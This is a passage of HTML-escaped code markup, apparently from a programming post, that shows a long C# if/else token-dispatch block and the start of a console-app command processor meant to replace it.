5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ... etc ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;ABCSearch&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;ABC&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;abc&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ABC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;abc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SearchFor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;JklmDoSomething&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;JKLM&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;jklm&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;JKLM&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;jklm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Dowork1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;_ A couple of notes:_&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;There is no correlation between the token and the class name (&lt;code&gt;ABC&lt;/code&gt;, &lt;code&gt;JKLM&lt;/code&gt;, ...) or the method (&lt;code&gt;SearchFor&lt;/code&gt;, &lt;code&gt;Dowork1&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The methods do have the same signature:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;func&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;if ()...&lt;/code&gt; block is 500+ lines and growing&#xA; &#xA;And here is my example command processor (as a console app):&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Reflection&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;ConsoleApplication2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Program&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;[e(x)ecute, (t)okens, (q)uit] -&amp;gt; &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KeyChar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ToString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ToLower&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;switch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Finished.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;t&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Known tokens:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenName&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CommandProcessor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetTokens&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;x&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;token: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;tag: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;cmdLine: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;state: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 46&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 47&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 48&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;output&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CommandProcessor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DoCommand&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span 